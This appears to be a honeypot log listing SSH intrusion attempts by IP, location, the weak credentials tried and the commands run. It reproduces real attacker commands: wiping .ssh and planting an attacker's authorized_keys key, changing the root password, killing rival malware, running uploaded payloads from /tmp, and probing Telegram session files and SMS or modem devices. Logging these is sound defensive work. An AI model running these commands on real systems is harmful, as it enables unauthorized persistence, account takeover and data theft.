$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 shadow_pi_3 (186.72.123.54) β€” Panama City, Panama Β· 2 sessions Β· 3 cmds
2026-03-17 08:11 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x pGwyafhw && bash -c ./pGwyafhw
↳ make executable
$ ./pGwyafhw
↳ execute payload
$ scp -t /tmp/pGwyafhw
↳ execute from /tmp
🎭 fog_root_12 (178.62.127.25) β€” Slough, United Kingdom Β· 8 sessions Β· 32 cmds
2026-03-17 06:01 EDT Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 autobahn_root_6 (167.71.44.204) β€” Frankfurt am Main, Germany Β· 4 sessions Β· 4 cmds
2026-03-17 05:00 EDT Β· as admin/admin, oracle/P@ssw0rd, root/1234
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—4
🎭 nasi_root_2 (47.250.208.51) β€” Kuala Lumpur, Malaysia Β· 1 session Β· 1 cmd
2026-03-17 04:22 EDT Β· as root/123456
echo
$ echo TEST
🎭 specter_root_54 (31.56.197.248) β€” Helsinki, Finland Β· 1 session Β· 19 cmds
2026-03-17 02:39 EDT Β· as root/12345678
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:dXzlmmPblLxS"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 blitz_root_5 (164.92.170.64) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 6 cmds
2026-03-17 01:59 EDT Β· as admin/admin123, root/123456, root/password
Ran uname 6x across 6 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—6
🎭 fog_root_6 (206.189.114.225) β€” Slough, United Kingdom Β· 2 sessions Β· 2 cmds
2026-03-16 17:22 EDT Β· as admin/admin123, root/12345678
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 specter_root_55 (139.59.249.70) β€” Singapore, Singapore Β· 2 sessions Β· 2 cmds
2026-03-16 17:00 EDT Β· as guest/guest, oracle/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 silk_root_20 (115.191.70.104) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-16 16:33 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 spice_sol (134.209.156.246) β€” Bengaluru, India Β· 2 sessions Β· 2 cmds
2026-03-16 14:59 EDT Β· as guest/guest, user/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 poutine_root (178.128.232.115) β€” Toronto, Canada Β· 3 sessions Β· 3 cmds
2026-03-16 13:18 EDT Β· as oracle/Bmw_20!_^, root/1234, ubuntu/password
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—3
🎭 stein_root_18 (207.154.246.50) β€” Frankfurt am Main, Germany Β· 1 session Β· 4 cmds
2026-03-16 13:07 EDT Β· as root/123456
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 burger_root_12 (205.185.125.150) β€” Las Vegas, United States Β· 1 session Β· 2 cmds
2026-03-16 12:20 EDT Β· as oracle/Oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 hockey_root_2 (143.198.42.218) β€” Toronto, Canada Β· 2 sessions Β· 2 cmds
2026-03-16 11:31 EDT Β· as oracle/oracle123, user/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 ghost_root_73 (23.97.62.145) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-03-16 11:28 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 windmill_root_6 (167.71.14.238) β€” Amsterdam, Netherlands Β· 2 sessions Β· 8 cmds
2026-03-16 11:23 EDT Β· as root/123456, root/password
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 monsoon_root_8 (64.227.144.182) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-16 10:38 EDT Β· as admin/password, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 kiwi_root_2 (170.64.151.106) β€” Sydney, Australia Β· 5 sessions Β· 20 cmds
2026-03-16 09:36 EDT Β· as oracle/oracle, postgres/postgres, root/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 moose_sol (146.190.247.65) β€” Toronto, Canada Β· 8 sessions Β· 8 cmds
2026-03-16 08:49 EDT Β· as admin/admin, deploy/deploy, guest/guest
Ran uname 8x across 8 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—8
🎭 chai_root_11 (64.227.181.159) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-16 09:00 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 barbie_root_5 (170.64.239.137) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-16 08:59 EDT Β· as root/123456, root/admin, root/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 beefeater_root_5 (159.65.24.165) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-03-16 08:44 EDT Β· as root/123456, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 tea_root_8 (138.68.158.168) β€” Slough, United Kingdom Β· 6 sessions Β· 24 cmds
2026-03-16 08:39 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 specter_root_56 (188.166.208.212) β€” Singapore, Singapore Β· 2 sessions Β· 8 cmds
2026-03-16 08:17 EDT Β· as root/123456, root/password
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 stroopwafel_root_6 (167.172.34.53) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-16 07:52 EDT Β· as root/123456, root/admin, root/password
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 autobahn_pi (79.201.182.167) β€” Bremen, Germany Β· 2 sessions Β· 3 cmds
2026-03-16 07:15 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x puPoPAYL && bash -c ./puPoPAYL
↳ make executable
$ ./puPoPAYL
↳ execute payload
$ scp -t /tmp/puPoPAYL
↳ execute from /tmp
🎭 kiwi_root_3 (65.254.93.36) β€” Bungarribee, Australia Β· 1 session Β· 1 cmd
2026-03-16 06:49 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 roo_root_3 (170.64.227.142) β€” Sydney, Australia Β· 2 sessions Β· 8 cmds
2026-03-16 06:31 EDT Β· as root/123456, root/password
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 strudel_root_11 (46.224.146.18) β€” Nuremberg, Germany Β· 1 session Β· 9 cmds
2026-03-16 05:23 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 shadow_root_47 (45.15.224.178) β€” Chisinau, Moldova Β· 1 session Β· 9 cmds
2026-03-16 04:48 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 scone_root_9 (138.68.149.32) β€” Slough, United Kingdom Β· 2 sessions Β· 8 cmds
2026-03-16 04:10 EDT Β· as root/admin, root/root
export β†’ uname β†’ cat
